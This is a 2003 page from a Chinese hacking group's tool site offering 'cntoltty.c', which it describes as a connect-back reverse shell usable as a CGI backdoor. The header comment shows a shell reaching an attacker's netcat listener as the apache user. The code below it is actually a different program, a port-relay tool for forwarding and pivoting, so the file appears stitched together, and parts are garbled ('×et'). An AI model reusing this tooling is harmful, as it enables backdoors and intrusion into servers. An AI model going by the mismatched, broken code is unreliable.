快速通道

文档分类
- 软件作品 <=
- 文档作品
- 代码作品

推荐作品
- HGod 0.51
- HScan v1.20
- trtool2.4.exe for windows,VC6.0 下编译
- 多线程包转发稳定版 HTran V1.00
- NTscan v1.0
- HDoor V0.41

cntoltty.c

提交作品： bkbll
提交日期： 2003-07-28
作品属性： 推荐
文档类别： 软件作品
浏览次数： 今1次/总1545次

反连接程序,支持tty, 通过反连接可以做到telnet,ssh,ftp等, 和telnet到主机上操作一样.在客户端需要nc或者其他程序监听一个端口.还有一个好处就是支持cgi调用. 可以轻松制作一个cgi backdoor. 支持linux和BSD

```
/*
    Connect back tools
    compile under linux
    2003-07-11 now support FreeBSD ..
    now support user define echo value
    [bkbll@mobile bkbll]$ uname -a
    Linux mobile 2.4.18-3custom #1 Èý 11ÔÂ 20 19:46:20 CST 2002 i686 unknown
    %uname -a
    FreeBSD 4.5-RELEASE FreeBSD 4.5-RELEASE #0: Mon Jan 28 14:31:56 GMT
2002 murray@builder.freebsdmall.com:/usr/src/sys/compile/GENERIC i386
    [bkbll@mobile ownprog]$ ./cntoltty 192.168.8.110 5555
    Connect back tools bye bkbll(bkbll@cnhonker.net)
    http://www.cnhonker.net
    Trying 192.168.8.110:5555....ok
    pid 3304 will manage our request
    on the 192.168.8.110:
    d:\>nc -l -p 5555
    sh-2.05b$
    this tool support CGI URL:
    such as:
    [bkbll@mobile ownprog]$ lynx http://192.168.8.114/cgi-bin/bkbll/cntoltty?
192.168.8.110:5555
    then on 192.168.8.110:
    d:\>nc -l -p 5555
    sh-2.05b$ id
    uid=48(apache) gid=48(apache) groups=48(apache)
    sh-2.05b$

*/
#include <sys/time.h>
#include <signal.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>
```

```
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <netdb.h>

#define VERSION "2.2"
#define TIMEOUT 300
#define max(a,b) (a)>(b)?(a):(b)
#define MAXSIZE 10240
#define HOSTLEN 40
#define CONNECT_NUMBER 5

/* define function here */
void usage(char *s);
void transdata(int fd1,int fd2);
void closeallfd();
void makelog(char *buffer,int length);
int testifisvalue(char *str);
int bind2conn(int port1,char *host,int port2);
int bind2bind(int port1,int port2);
int conn2conn(char *host1,int port1,char *host2,int port2);
int create_socket();
int create_serv(int sockfd,int port);
int client_connect(int sockfd,char* server,int port);

/* define GLOBAL varible here */
extern int errno;
FILE *fp;

main(int argc,char **argv)
{
   char **p;
   char host1[HOSTLEN],host2[HOSTLEN];
   int port1=0,port2=0,method=0;
   int length;
   char *logfile=NULL;

   p=argv;
   memset(host1,0,HOSTLEN);
   memset(host2,0,HOSTLEN);
   while(*p)
   {
      if(strcmp(*p,"-v")==0)
      {
         printf("Socket data transport tool.\r\nVersion:%s\r\n",VERSION);
         p++;
         continue;
      }
      if(strcmp(*p,"-h1")==0)
      {
         if(testifisvalue(*(p+1))==1)
         {
            length=(strlen(*(p+1))>HOSTLEN-1)?HOSTLEN-1:strlen(*(p+1));
            strncpy(host1,*(++p),length);
         }
         p++;
         continue;
      }
      if(strcmp(*p,"-h2")==0)
      {
         if(testifisvalue(*(p+1))==1)
         {
            length=(strlen(*(p+1))>HOSTLEN-1)?HOSTLEN-1:strlen(*(p+1));
            strncpy(host2,*(++p),length);
         }
         p++;
         continue;
      }
      if(strcmp(*p,"-p1")==0)
      {
         if(testifisvalue(*(p+1))==1)
            port1=atoi(*(++p));
```

```
            p++;
            continue;
        }
        if(strcmp(*p,"-p2")==0)
        {
            if(testifisvalue(*(p+1))==1)
                port2=atoi(*(++p));
            p++;
            continue;
        }
        if(strcmp(*p,"-m")==0)
        {
            if(testifisvalue(*(p+1))==1)
                method=atoi(*(++p));
            p++;
            continue;
        }
        if(strcmp(*p,"-log")==0)
        {
            if(testifisvalue(*(p+1))==1)
                logfile=*(++p);
            else
            {
                printf("[ERROR]:must supply logfile name\r\n");
                exit(0);
            }
            p++;
            continue;
        }
        p++;
    }
    signal(SIGCLD,SIG_IGN);
    signal(SIGINT,&closeallfd);
    if(logfile !=NULL)
    {
        fp=fopen(logfile,"a");
        if(fp == NULL )
        {
            perror("open logfile");
            exit(0);
        }
    }
    makelog("########################## start #################\r\n",49);
    switch(method)
    {
        case 0:
            usage(argv[0]);
            break;
        case 1:
            if((port1==0) || (port2==0))
            {
                printf("[ERROR]:must supply PORT1 and PORT2.\r\n");
                break;
            }
            if(strlen(host2)==0)
            {
                printf("[ERROR]:must supply HOST2.\r\n");
                break;
            }
            bind2conn(port1,host2,port2);
            break;
        case 2:
            if((port1==0) || (port2==0))
            {
                printf("[ERROR]:must supply PORT1 and PORT2.\r\n");
                break;
            }
            bind2bind(port1,port2);
            break;
        case 3:
            if((port1==0) || (port2==0))
            {
```

```
                printf("[ERROR]:must supply PORT1 and PORT2.\r\n");
                break;
            }
            if(strlen(host1)==0)
            {
                printf("[ERROR]:must supply HOST1.\r\n");
                break;
            }
            if(strlen(host2)==0)
            {
                printf("[ERROR]:must supply HOST2.\r\n");
                break;
            }
            conn2conn(host1,port1,host2,port2);
            break;
        default:
            usage(argv[0]);
    }
    closeallfd();
}

int testifisvalue(char *str)
{
    if(str == NULL ) return(0);
    if(str[0]=='-') return(0);
    return(1);
}

void usage(char *s)
{
    printf("Socket data transport tool\r\n");
    printf("by bkbll(bkbll@cnhonker.net)\r\n\r\n");
    printf("Usage:%s -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log
filename]\r\n",s);
    printf(" -v: version\r\n");
    printf(" -h1: host1\r\n");
    printf(" -h2: host2\r\n");
    printf(" -p1: port1\r\n");
    printf(" -p2: port2\r\n");
    printf(" -log: log the data\r\n");
    printf(" -m: the action method for this tool\r\n");
    printf(" 1: listen on PORT1 and connect to HOST2:PORT2\r\n");
    printf(" 2: listen on PORT1 and PORT2\r\n");
    printf(" 3: connect to HOST1:PORT1 and HOST2:PORT2\r\n");

    closeallfd();
}

int bind2conn(int port1,char *host,int port2)
{
    int sockfd,sockfd1,sockfd2;
    struct sockaddr_in remote;
    int size;
    int pid;
    char buffer[1024];

    memset(buffer,0,1024);
    if((sockfd=create_socket())==0) exit(0);
    if(create_serv(sockfd,port1)==0)
    {
        close(sockfd1);
        exit(0);
    }
    size=sizeof(struct sockaddr);
    while(1)
    {
         printf("waiting for response.....\n");
         if((sockfd1=accept(sockfd,(struct sockaddr *)&remote,&size))<0){perror("accept
error\n");continue;}
         printf("accept a client from %s:%d\n",inet_ntoa(remote.sin_addr),ntohs
(remote.sin_port));
         if((sockfd2=create_socket())==0)
```

```
        {
            close(sockfd1);
            continue;
        }
        printf("make a connection to %s:%d....",host,port2);
        fflush(stdout);
        if(client_connect(sockfd2,host,port2)==0)
        {
            close(sockfd2);
            sprintf(buffer,"[SERVER]connection to %s:%d error\r\n",host,port2);
            write(sockfd1,buffer,strlen(buffer));
            memset(buffer,0,1024);
            close(sockfd1);
            continue;
        }
        printf("ok\r\n");
     pid=fork();
     if(pid==0) transdata(sockfd1,sockfd2);
     // sleep(2);
     close(sockfd1);
     close(sockfd2);
    }

}

int bind2bind(int port1,int port2)
{
    int fd1,fd2,sockfd1,sockfd2;
    struct sockaddr_in client1,client2;
    int size1,size2;
    int pid;

    if((fd1=create_socket())==0) exit(0);
    if((fd2=create_socket())==0) exit(0);
    printf("binding port %d.....",port1);
    fflush(stdout);
    if(create_serv(fd1,port1)==0)
     {
        close(fd1);
        exit(0);
     }
     printf("ok\r\n");
     printf("binding port %d.....",port2);
     fflush(stdout);
     if(create_serv(fd2,port2)==0)
     {
        close(fd2);
        exit(0);
     }
     printf("ok\r\n");
     size1=size2=sizeof(struct sockaddr);
     while(1)
     {
         printf("waiting for response on port %d.....\n",port1);
        if((sockfd1=accept(fd1,(struct sockaddr *)&client1,&size1))<0)
        {
            perror("accept1 error");
            continue;
        }
        printf("accept a client on port %d from %s,waiting another on port %
d....\n",port1,inet_ntoa(client1.sin_addr),port2);
        if((sockfd2=accept(fd2,(struct sockaddr *)&client2,&size2))<0)
        {
            perror("accept2 error");
            close(sockfd1);
            continue;
        }
        printf("accept a client on port %d from %s\n",port2,inet_ntoa(client2.sin_addr));
         pid=fork();
         if(pid==0) transdata(sockfd1,sockfd2);
        //sleep(2);
        close(sockfd1);
```

```
        close(sockfd2);
    }
}

int conn2conn(char *host1,int port1,char *host2,int port2)
{
   int sockfd1,sockfd2;
   int pid;

   while(1)
   {
      if((sockfd1=create_socket())==0) exit(0);
      if((sockfd2=create_socket())==0) exit(0);
      printf("make a connection to %s:%d....",host1,port1);
      fflush(stdout);
      if(client_connect(sockfd1,host1,port1)==0)
       {
          close(sockfd1);
          close(sockfd2);
          break;
      }
      printf("ok\r\n");
      printf("make a connection to %s:%d....",host2,port2);
      fflush(stdout);
      if(client_connect(sockfd2,host2,port2)==0)
       {
          close(sockfd1);
          close(sockfd2);
          break;
      }
      printf("ok\r\n");
      pid=fork();
      if(pid==0) transdata(sockfd1,sockfd2);
      //sleep(2);
      close(sockfd1);
      close(sockfd2);

   }
}

void transdata(int fd1,int fd2)
{
struct timeval timeset;
fd_set readfd,writefd;
int result,i=0;
char read_in1[MAXSIZE],send_out1[MAXSIZE];
char read_in2[MAXSIZE],send_out2[MAXSIZE];
int read1=0,totalread1=0,send1=0;
int read2=0,totalread2=0,send2=0;
int sendcount1,sendcount2;
int maxfd;
struct sockaddr_in client1,client2;
int structsize1,structsize2;
char host1[20],host2[20];
int port1=0,port2=0;
char tmpbuf1[100],tmpbuf2[100];

memset(host1,0,20);
memset(host2,0,20);
memset(tmpbuf1,0,100);
memset(tmpbuf2,0,100);
if(fp!=NULL)
{
    structsize1=sizeof(struct sockaddr);
    structsize2=sizeof(struct sockaddr);
    if(getpeername(fd1,(struct sockaddr *)&client1,&structsize1)<0)
    {
       strcpy(host1,"fd1");
    }
    else
    {
       printf("got,ip:%s,port:%d\r\n",inet_ntoa(client1.sin_addr),ntohs(client1.sin_port));
```

```
        strcpy(host1,inet_ntoa(client1.sin_addr));
        port1=ntohs(client1.sin_port);
    }
    if(getpeername(fd2,(struct sockaddr *)&client2,&structsize2)<0)
    {
        strcpy(host2,"fd2");
    }
    else
    {
        printf("got,ip:%s,port:%d\r\n",inet_ntoa(client2.sin_addr),ntohs(client2.sin_port));
        strcpy(host2,inet_ntoa(client2.sin_addr));
        port2=ntohs(client2.sin_port);
    }
    sprintf(tmpbuf1,"\r\n############ read from %s:%d
####################\r\n",host1,port1);
    sprintf(tmpbuf2,"\r\n############ reply from %s:%d
####################\r\n",host2,port2);
}

maxfd=max(fd1,fd2)+1;
memset(read_in1,0,MAXSIZE);
memset(read_in2,0,MAXSIZE);
memset(send_out1,0,MAXSIZE);
memset(send_out2,0,MAXSIZE);

timeset.tv_sec=TIMEOUT;
timeset.tv_usec=0;
while(1)
{
   FD_ZERO(&readfd);
   FD_ZERO(&writefd);

   FD_SET(fd1,&readfd);
   FD_SET(fd1,&writefd);
   FD_SET(fd2,&writefd);
   FD_SET(fd2,&readfd);

   result=select(maxfd,&readfd,&writefd,NULL,×et);
   if((result<0) && (errno!=EINTR))
   {
      perror("select error");
      break;
   }
   else if(result==0)
   {
      printf("time out\n");
      break;
   }
   if(FD_ISSET(fd1,&readfd))
   {
       /* 不能超过MAXSIZE-totalread1,不然send_out1会溢出  */
       if(totalread1<MAXSIZE)
       {
           read1=read(fd1,read_in1,MAXSIZE-totalread1);
          if(read1==0) break;
          if((read1<0) && (errno!=EINTR))
          {
              perror("read data error");
              break;
          }
       memcpy(send_out1+totalread1,read_in1,read1);
       makelog(tmpbuf1,strlen(tmpbuf1));
       makelog(read_in1,read1);
       totalread1+=read1;
       memset(read_in1,0,MAXSIZE);
    }
}
   if(FD_ISSET(fd2,&writefd))
   {
       int err=0;
       sendcount1=0;
       while(totalread1>0)
```

```
        {
            send1=write(fd2,send_out1+sendcount1,totalread1);
            if(send1==0)break;
            if((send1<0) && (errno!=EINTR))
            {
                perror("unknow error");
                err=1;
                break;
            }
            if((send1<0) && (errno==ENOSPC)) break;
            sendcount1+=send1;
            totalread1-=send1;
        }
        if(err==1) break;
        if((totalread1>0) && (sendcount1>0))
        {
            /* 移动未发送完的数据到开始 */
            memcpy(send_out1,send_out1+sendcount1,totalread1);
            memset(send_out1+totalread1,0,MAXSIZE-totalread1);
        }
        else
            memset(send_out1,0,MAXSIZE);
    }
if(FD_ISSET(fd2,&readfd))
{

        if(totalread2<MAXSIZE)
        {
            read2=read(fd2,read_in2,MAXSIZE-totalread2);
            if(read2==0)break;
            if((read2<0) && (errno!=EINTR))
            {
                perror("read data error");
                break;
            }
        memcpy(send_out2+totalread2,read_in2,read2);
        makelog(tmpbuf2,strlen(tmpbuf2));
        makelog(read_in2,read2);
        totalread2+=read2;
        memset(read_in2,0,MAXSIZE);
     }
}
    if(FD_ISSET(fd1,&writefd))
    {
        int err2=0;
        sendcount2=0;
        while(totalread2>0)
        {
            send2=write(fd1,send_out2+sendcount2,totalread2);
            if(send2==0)break;
            if((send2<0) && (errno!=EINTR))
            {
                perror("unknow error");
                err2=1;
                break;
            }
            if((send2<0) && (errno==ENOSPC)) break;
            sendcount2+=send2;
            totalread2-=send2;
        }
        if(err2==1) break;
        if((totalread2>0) && (sendcount2 > 0))
        {
            /* 移动未发送完的数据到开始 */
            memcpy(send_out2,send_out2+sendcount2,totalread2);
            memset(send_out2+totalread2,0,MAXSIZE-totalread2);
        }
        else
            memset(send_out2,0,MAXSIZE);
     }
}
```

```
close(fd1);
close(fd2);
printf("ok,I closed the two fd\r\n");
exit(0);
}

void closeallfd()
{
   int i;
   printf("Let me exit...");
   fflush(stdout);
   for(i=3;i<256;i++)
   {
      close(i);
   }
   if(fp != NULL)
   {
      fprintf(fp,"exited\r\n");
      fclose(fp);
   }
   printf("all overd\r\n");
   exit(0);
}
void makelog(char *buffer,int length)
{
   if(fp !=NULL)
   {
      //fprintf(fp,"%s",buffer);
      write(fileno(fp),buffer,length);
      fflush(fp);
   }
}

int create_socket()
{
int sockfd;

sockfd=socket(AF_INET,SOCK_STREAM,0);
if(sockfd<0)
{
   perror("Create socket error");
   return(0);
}
return(sockfd);
}

int create_serv(int sockfd,int port)
{
struct sockaddr_in srvaddr;
int on=1;

bzero(&srvaddr,sizeof(struct sockaddr));
srvaddr.sin_port=htons(port);
srvaddr.sin_family=AF_INET;
srvaddr.sin_addr.s_addr=htonl(INADDR_ANY);

setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on)); //so I can rebind
the port
if(bind(sockfd,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr))<0){perror
("error");return(0);}
if(listen(sockfd,CONNECT_NUMBER)<0){perror("listen error\n");return(0);}
return(1);
}

int client_connect(int sockfd,char* server,int port)
{
struct sockaddr_in cliaddr;
struct hostent *host;

if(!(host=gethostbyname(server))){printf("gethostbyname(%s) error:%
s\n",server,strerror(errno));return(0);}
```

```
bzero(&cliaddr,sizeof(struct sockaddr));
cliaddr.sin_family=AF_INET;
cliaddr.sin_port=htons(port);
cliaddr.sin_addr=*((struct in_addr *)host->h_addr);

if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0){perror
("error");return(0);}
return(1);
}

/* http://www.cnhonker.com 7 24,2003*/
```

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net